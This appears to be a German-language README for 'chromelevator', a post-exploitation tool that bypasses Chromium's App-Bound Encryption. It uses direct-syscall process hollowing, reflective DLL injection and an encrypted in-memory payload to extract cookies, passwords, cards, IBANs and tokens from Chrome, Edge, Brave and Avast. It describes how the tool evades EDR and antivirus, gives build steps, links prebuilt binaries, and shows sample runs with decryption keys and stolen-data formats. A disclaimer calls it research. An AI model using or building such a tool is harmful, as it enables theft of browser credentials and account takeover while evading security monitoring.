
Umgeht die App-Bound Encryption von Chromium durch direktes Syscall-basiertes Reflective Process Hollowing. Extrahiert Cookies, Passwörter, Zahlungsmethoden und Tokens aus Chrome, Edge, Brave und Avast – dateilos, im Benutzermodus, keine Administratorrechte erforderlich.
Chrome App-Bound Encryption Decryption)Ein Post-Exploitation-Tool, das eine vollständige, In-Memory-Umgehung der App-Bound Encryption (ABE) von Chromium demonstriert. Dieses Projekt nutzt reflective Process Hollowing auf Basis direkter Syscalls, um einen legitimen Browserprozess im angehaltenen Zustand zu starten, dabei heimlich ein Payload zu injizieren und dessen Identität sowie Sicherheitskontext zu übernehmen. Diese Living-off-the-Land (LOTL)-Technik untergräbt das eigene Sicherheitsmodell des Browsers. Der dateilose Ansatz ermöglicht es dem Tool, vollständig aus dem Speicher heraus zu arbeiten, Userland-API-Hooks zu umgehen und sensible Nutzerdaten (Cookies, Passwörter, Zahlungen) aus modernen Chromium-Browsern zu entschlüsseln und zu exfiltrieren.
Wenn Sie diese Forschung wertvoll finden, freue ich mich über einen Kaffee:
Die Wirksamkeit dieses Tools beruht auf einer Kombination moderner, auf Umgehung ausgerichteter Techniken:
Direkte Syscalls zur Umgehung: Umgeht EDR/AV-Userland-Hooks auf Standard-WinAPI-Funktionen, indem Kernel-Funktionen direkt aufgerufen werden. Die Engine löst Syscall-Nummern zur Laufzeit dynamisch mithilfe der Hell's Gate-Technik mit hash-basiertem Funktionsabgleich auf (keine Klartext-Syscall-Namen in der Binärdatei).
Direct Syscall-basiertes Process Hollowing: Eine heimliche Technik zur Prozesserstellung und -injektion. Anstatt in einen stark frequentierten, möglicherweise überwachten Prozess zu injizieren, wird ein neuer, angehaltener Host-Prozess erstellt. Dies reduziert die Erkennungswahrscheinlichkeit erheblich, da alle Speichermanipulationen stattfinden, bevor der Prozess seine normale Ausführung beginnt.
Dateiloses In-Memory-Payload: Das Payload-DLL wird auf dem Zielsystem niemals auf die Festplatte geschrieben. Es ist als mit ChaCha20 verschlüsseltes Byte-Array zur Compilezeit eingebettet, mit zur Compilezeit abgeleiteten Schlüsseln, wird im Speicher entschlüsselt und reflektiv geladen. Das minimiert den forensischen Fußabdruck und umgeht statische dateibasierte Scanner.
Reflective DLL Injection (RDI): Eine heimliche Prozessinjektionsmethode, die LoadLibrary für das Haupt-Payload umgeht und so Erkennungsmechanismen umgeht, die Modul-Ladevorgänge überwachen. Der eigenständige Bootstrap-Loader mappt PE-Abschnitte, führt Relokationen durch und löst Importe direkt aus dem Speicher auf.
COM-Aufruf im Zielkontext: Der Dreh- und Angelpunkt zur Überwindung der App-Bound Encryption. Durch die Ausführung von Code innerhalb des vertrauenswürdigen Browserprozesses erben wir dessen Identität und Sicherheitskontext. Dadurch können wir legitim wirkende Aufrufe an den ABE-COM-Server richten und dessen Pfadvalidierungs-Sicherheitsprüfungen erfüllen.
Nt*/Zw*-Funktionsnamen in der Binärdatei – es werden DJB2-Hashes zur Compilezeit verwendet.LoadLibrary-Aufrufe.--kill-Schalter für die vollständige Prozessbeendigung.
Hinweis: Chrome/Brave/Edge 144+ verwenden das neue
IElevator2-COM-Interface. Dieses Tool verwendet automatischIElevator2, wenn verfügbar, und fällt für ältere Versionen aufIElevatorzurück. Avast Secure Browser verwendet ein benutzerdefiniertesIElevatorChrome-Interface mit erweiterter Vtable (12 Methoden, DecryptData bei Offset 104).
Diese Matrix beschreibt die Extraktionsfähigkeiten für jeden unterstützten Browser.
Die Ausführung des Tools konzentriert sich auf Tarnung und Effizienz und basiert auf einem Reflective Hollowing auf Basis direkter Syscalls. Dieser Ansatz sorgt dafür, dass nur wenige High-Level-API-Aufrufe getätigt werden und das Payload aus einem legitimen, neu erstellten Browserprozess heraus arbeitet.
chromelevator.exe)ntdll.dll parst, um Syscall-Nummern (SSNs) mittels hash-basiertem Abgleich aufzulösen und Kernel-Übergangs-Gadgets (syscall/ret oder svc/ret) zu lokalisieren. Wenn das Flag --kill angegeben ist, verwendet er die Syscalls NtGetNextProcess und NtTerminateProcess, um alle laufenden Instanzen des Zielbrowsers zu beenden und Dateisperren auf SQLite-Datenbanken freizugeben.CREATE_SUSPENDED (CreateProcessW). Dieser unberührte, angehaltene Prozess dient als Host für unser Payload.NtAllocateVirtualMemory (direkter Syscall).Bootstrap-Reflective-Loader wird ausgeführt und fungiert als benutzerdefinierter In-Memory-PE-Loader mit erweiterter Tarnung:
NtAllocateVirtualMemory (unter Umgehung des gehookten VirtualAlloc).NtProtectVirtualMemory.DllMain des Payloads auf.DllMain erzeugt einen neuen Thread, der sich sofort mit dem vom Injector übergebenen Named-Pipe-Handle verbindet. Er liest die Konfiguration, einschließlich des Ausgabepfads, die vom Injector gesendet wurde. Alle weiteren Protokolle und Statusmeldungen werden über diese Pipe zurückgesendet.IElevator2 für Chrome/Brave 144+, IElevator für frühere Versionen, für Edge oder für Avast Secure Browser). Da der Aufruf von einem vertrauenswürdigen Prozesspfad stammt, werden alle Sicherheitsprüfungen des Servers bestanden.Dieses Projekt verwendet ein einfaches, robustes Build-Skript, das die gesamte Kompilierung und Payload-Einbettung automatisch übernimmt.
Klonen Sie dieses Repository.
Öffnen Sie eine Developer-Eingabeaufforderung für VS (oder eine MSVC-fähige Shell).
Führen Sie das Build-Skript make.bat aus dem Projektstammverzeichnis aus.
Build-Optionen:
make.bat - Vollständiger Build (Standard)make.bat clean - Alle Build-Artefakte entfernenmake.bat build_encryptor_only - Nur den Verschlüsseler bauen (für CI)make.bat build_target_only - Payload und Injector bauen (für CI)Dieses Projekt verwendet GitHub Actions, um die Injector-ausführbare Datei (chromelevator.exe) automatisch für die Architekturen x64 und ARM64 zu erstellen.
Die neuesten vorkompilierten Binärdateien finden Sie auf der Releases-Seite. Die ausführbaren Dateien für beide Architekturen sind in einer einzigen, praktischen .zip-Datei gebündelt.
Inhalt des Release-Pakets:
chromelevator_x64.exechromelevator_arm64.exePS> .\chromelevator.exe --help
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>
Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory
### Optionen
- `--output-path <path>` oder `-o <path>`
Gibt das Basisverzeichnis für Ausgabedateien an.
Standardmäßig `.\output\` relativ zum Speicherort des Injectors.
Die Daten werden in Unterordnern organisiert: `<path>/<BrowserName>/<ProfileName>/`.
- `--verbose` oder `-v`
Aktiviert umfangreiche Debug-Ausgaben des Injectors.
- `--fingerprint` oder `-f`
Extrahiert umfassende Browser-Fingerprinting-Daten, einschließlich Version, Erweiterungen, Sicherheitseinstellungen und Systeminformationen.
Ergebnisse werden in `fingerprint.json` im Ausgabeverzeichnis des Browsers gespeichert.
- `--kill` oder `-k`
**Beendet alle Browserprozesse vor der Extraktion.** Verwendet direkte Syscalls (`NtTerminateProcess`), um alle laufenden Instanzen der Zielbrowser zu beenden, bevor versucht wird, Daten zu extrahieren. Dies ist nützlich, wenn Browser laufen und Sperren auf Datenbankdateien halten, was das Tool daran hindert, auf Cookies oder andere verschlüsselte Daten zuzugreifen.
- `--help` oder `-h`
Zeigt diese Hilfemeldung an.
### Normaler Lauf```bash
PS> .\chromelevator.exe all
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Brave (143.1.85.120) ──────────────────────
│
│ Decryption Key
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
│
├── Default
│ Cookies 3312
│ Passwords 55
│ Cards 1
│ IBANs 1
│
└── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
┌──── Chrome (143.0.7499.193) ───────────────────
│
│ Decryption Key
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
│
├── Default
│ Cookies 380
│ Passwords 1
│
├── Profile 1
│ Cookies 932
│ Passwords 791
│ Cards 1
│ IBANs 1
│ Tokens 2
│
└── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
┌──── Chrome Beta (144.0.7559.59) ───────────────
│
│ Decryption Key
│ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
│
├── Default
│ Cookies 224
│
└── 224 cookies (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta
┌──── Edge (144.0.3719.67) ──────────────────────
│
│ Decryption Key
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
│
├── Default
│ Cookies 226
│ Passwords 2
│ Cards 1
│
├── Profile 1
│ Cookies 25
│
└── 251 cookies, 2 passwords, 1 cards (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
PS> .\chromelevator.exe -v -f chrome
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
## 📂 Datenextraktion
Sobald die Entschlüsselung abgeschlossen ist, werden die Daten im angegebenen Ausgabepfad gespeichert (standardmäßig `.\output\`, falls nicht über `--output-path` angegeben). Die Dateien sind wie folgt organisiert:
**Basispfad:** `YOUR_CHOSEN_PATH` (z. B. `.\output\` oder der von Ihnen angegebene Pfad)
**Struktur:** `<Base Path>/<BrowserName>/<ProfileName>/<data_type>.json`
Beispielpfade (unter Annahme des Standard-Ausgabeorts):
- 🍪 **Cookies (Chrome-Standardprofil):** .\output\Chrome\Default\cookies.json
- 🔑 **Passwörter (Edge-Profil 1):** .\output\Edge\Profile 1\passwords.json
- 💳 **Zahlungsmethoden (Brave-Standardprofil):** .\output\Brave\Default\payments.json
- 🏦 **IBANs (Chrome-Profil 1):** .\output\Chrome\Profile 1\iban.json
### 🍪 Cookie-Extraktion
Jede Cookie-Datei ist ein JSON-Array von Objekten:```json
[
{
"host": "accounts.google.com",
"name": "ACCOUNT_CHOOSER",
"path": "/",
"expires": 1766591611,
"value": "AFx_qI781-…"
},
{
"host": "mail.google.com",
"name": "OSID",
"path": "/mail",
"expires": 1766591611,
"value": "g.a000uwj5ufIS…"
},
…
]
Jede Passwortdatei ist ein JSON-Array von Objekten:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]
### 💳 Extraktion von Zahlungsmethoden
Jede Zahlungsdatei ist ein JSON-Array von Objekten:```json
[
{
"name": "John Doe",
"month": 12,
"year": 2030,
"number": "••••••••••1234",
"cvc": "•••"
},
…
]
Jede IBAN-Datei ist ein JSON-Array von Objekten:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]
### 🎟️ Token-Extraktion
Jede Token-Datei ist ein JSON-Array aus Objekten, die den Dienst, das entschlüsselte Token und den Bindungsschlüssel (falls vorhanden) enthalten:```json
[
{
"service": "AccountId-112823413702122221871",
"token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
"binding_key": ""
}
]
Mit dem Flag --fingerprint oder -f wird ein umfassender Metadatenbericht erstellt:```json
{
"browser": "Chrome",
"executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe",
"browser_version": "143.0.7499.170",
"user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data",
"sync_enabled": false,
"enterprise_managed": true,
"update_channel": "stable",
"hardware_acceleration": false,
"metrics_enabled": false,
"autofill_enabled": true,
"password_manager_enabled": false,
"safe_browsing_enabled": true,
"do_not_track": false,
"third_party_cookies_blocked": false,
"translate_enabled": true,
"installed_extensions_count": 2,
"extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
"profile_count": 2,
"computer_name": "DESKTOP-ABC123",
"windows_user": "username",
"os_version": "10.0.26220",
"architecture": "ARM64",
"last_config_update": 1766578854,
"extraction_timestamp": 1766591611,
"extraction_complete": true
}
Diese Daten liefern Informationen über die Browser-Konfiguration, den Sicherheitsstatus und den Systemkontext.
## 📚 Detaillierte technische Analyse & Forschung
Für ein umfassendes Verständnis der App-Bound-Verschlüsselung (ABE) von Chrome, der Feinheiten ihrer Implementierung, der detaillierten Mechanismen des Ansatzes dieses Tools sowie einer breiteren Diskussion verwandter Sicherheitsvektoren verweise ich auf mein ausführliches Forschungspapier:
1. ➡️ **[Chrome App-Bound Encryption (ABE) – Technischer Deep Dive & Forschungsnotizen](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/RESEARCH.md)**
Dieses Dokument behandelt:
- Die Entwicklung von DPAPI zu ABE.
- Eine schrittweise Aufschlüsselung des ABE-Mechanismus, einschließlich der `IElevator`/`IElevator2`-COM-Interaktionen und des Key-Wrappings.
- Die detaillierte Methodik der von diesem Tool verwendeten DLL-Injection-Strategie.
- Analyse verschlüsselter Datenstrukturen und relevante Einblicke in den Chromium-Quellcode.
- Diskussion alternativer Entschlüsselungsvektoren und der sich weiterentwickelnden Abwehrmaßnahmen von Chrome.
2. ➡️ **[Der kuriose Fall des widerspenstigen COM: Entschlüsselung der App-Bound-Verschlüsselung von Microsoft Edge](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**
Dieser Artikel beschreibt die spezifischen Herausforderungen und die Reverse-Engineering-Reise, die unternommen wurde, um eine zuverlässige ABE-Entschlüsselung für Microsoft Edge zu erreichen. Er umfasst:
- Einen Bericht über die anfänglichen Probleme und irreführende Fehlercodes (`E_INVALIDARG`, `E_NOINTERFACE`).
- Den Prozess der COM-Typbibliotheks-Introspection (mit Python `comtypes`), um die einzigartige `IElevatorEdge`-Vtable-Struktur und -Vererbung von Edge aufzudecken.
- Wie diese Erkenntnis zu maßgeschneiderten C++-Interface-Stubs für die erfolgreiche Interaktion mit dem ABE-Dienst von Edge führte.
- Einen praktischen Blick auf das Debuggen kniffliger COM-Interoperabilitätsprobleme.
3. ➡️ **[Der Aufzug bekommt ein Upgrade: Chrome 144, IElevator2 und der Mojo-Horizont](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**
Dieser Artikel behandelt die neue `IElevator2`-COM-Schnittstelle von Chrome 144 und was sie für ABE bedeutet:
- Technischer Vergleich zwischen den Schnittstellen `IElevator` von Chrome 143 und `IElevator2` von Chrome 144.
- Analyse der beiden neuen Methoden (`RunIsolatedChrome`, `AcceptInvitation`) und ihrer Verbindung zur geplanten Mojo-IPC-Migration von Chromium.
- VTable-Layout-Vergleich, der die Wahrung der Abwärtskompatibilität zeigt.
- Die teilweise Übernahme von `IElevator2` durch Edge 144 sowie neue Copilot-Schnittstellen.
- Eine ehrliche Einschätzung, was die Mojo-Migration für die ABE-Sicherheit ändert (und was nicht).
4. ➡️ **[COMrade ABE: Ihr Feldhandbuch für das COM-Innenleben der App-Bound-Verschlüsselung](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/COMrade_ABE_Field_Manual.md)**
Dieses Feldhandbuch stellt **COMrade ABE** vor, einen Python-basierten dynamischen Analysator für ABE-COM-Schnittstellen, und taucht in seine praktischen Anwendungen ein:
- Erklärt die Notwendigkeit der dynamischen COM-Schnittstellenanalyse aufgrund von Browser-Varianten und -Updates.
- Beschreibt die Methodik von COMrade ABE im Detail: Registry-Scanning zur Diensterkennung, Laden und Parsen von Typbibliotheken sowie heuristisches Abgleichen von ABE-Methodensignaturen.
- Bietet einen umfassenden Leitfaden zur Interpretation der Ausgabe von COMrade ABE, einschließlich CLSIDs, IIDs (Standard- und C++-Stil) sowie der Bedeutung von Details in der ausführlichen Ausgabe wie VTable-Offsets, definierende Schnittstellen und vollständige Vererbungsketten.
- Hebt den Nutzen der automatisch generierten C++-Stubs (`--output-cpp-stub`) für schnelle Entwicklung und Forschung hervor.
- Erörtert, wie COMrade ABE bei der Anpassung an ABE-Änderungen, der Analyse neuer Chromium-Browser und dem Verständnis herstellerspezifischer COM-Anpassungen hilft.
## 🔗 Zusätzliche Ressourcen & Forschung
Dieses Projekt baut auf der Arbeit und Analyse der breiteren Sicherheits-Community auf.
- **Offizielle Dokumentation & Ankündigungen:**
- [Google Security Blog: Verbesserung der Sicherheit von Chrome-Cookies unter Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [Entwurfsdokument: Chrome-App-Bound-Encryption-Dienst](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)
- **Community-Forschung & Danksagung:**
- Proof of Concept von [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824)
## 🗒️ Changelog
Alle wesentlichen Änderungen an diesem Projekt sind in der Datei [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/CHANGELOG.md) dokumentiert. Dazu gehören Versionshistorie, neue Funktionen, Fehlerbehebungen und Sicherheitsverbesserungen.
## 📜 Lizenz
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/LICENSE) für Details.
## 💡 Projektphilosophie & Haftungsausschluss
> [!IMPORTANT]
> Dies ist ein Hobbyprojekt, das zu Bildungs- und Sicherheitsforschungszwecken erstellt wurde. Es dient als persönliche Lernerfahrung und als Spielfeld für die Erkundung fortgeschrittener Windows-Konzepte.
>
> **Dieses Tool ist NICHT als vollwertiger Infostealer oder garantiertes EDR-Evasion-Tool gedacht.** Obwohl es fortschrittliche Techniken einsetzt, besteht sein primäres Ziel darin, den ABE-Mechanismus zu demonstrieren und zu analysieren – nicht darin, operative Tarnung für böswillige Nutzung zu bieten. Bitte stellen Sie die Einhaltung aller relevanten rechtlichen und ethischen Richtlinien sicher.
| Browser | Getestete Version (x64 & ARM64) |
|---|
| Google Chrome | 144.0.7559.133 |
| Google Chrome Beta | 145.0.7632.18 |
| Brave | 1.86.148 (144.1.86.148) |
| Microsoft Edge | 145.0.3800.36 |
| Avast Secure Browser | 143.0.33371.147 |
| Feature | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser |
|---|
| Cookies | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Passwörter | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Zahlungsmethoden | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| IBANs | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE |
| Auth-Tokens | ❌ N/A | ❌ N/A | ❌ N/A |
NtWriteVirtualMemory in den reservierten Bereich.NtProtectVirtualMemory (direkter Syscall).NtCreateThreadEx erstellt. Die Startadresse des Threads zeigt direkt auf den Bootstrap-Export des Payloads, wobei die Adresse des entfernten Pipe-Namens als Argument dient. Der ursprüngliche Hauptthread des Browsers bleibt angehalten und wird nie fortgesetzt. Der Injector wartet anschließend darauf, dass sich das Payload über die Pipe zurückmeldet.IEdgeElevatorFinalIAvastElevatorDecryptData auf dem COM-Interface auf und übergibt dabei den app_bound_encrypted_key, den es aus der Datei Local State liest. Der COM-Server entschlüsselt den Schlüssel zuverlässig und gibt den Klartext-AES-256-Masterschlüssel an das Payload zurück.Default, Profile 1 usw.). Für jedes Profil fragt es die relevanten SQLite-Datenbanken ab (Cookies, Login Data, Web Data), entschlüsselt die Datenblobs mit AES-256-GCM und formatiert die Geheimnisse als JSON. Die Ergebnisse werden direkt in das vom Injector angegebene Ausgabeverzeichnis geschrieben.FreeLibraryAndExitThread zur Bereinigung auf. Der Injector beendet nach Erhalt des Signals den übergeordneten Host-Prozess mit NtTerminateProcess.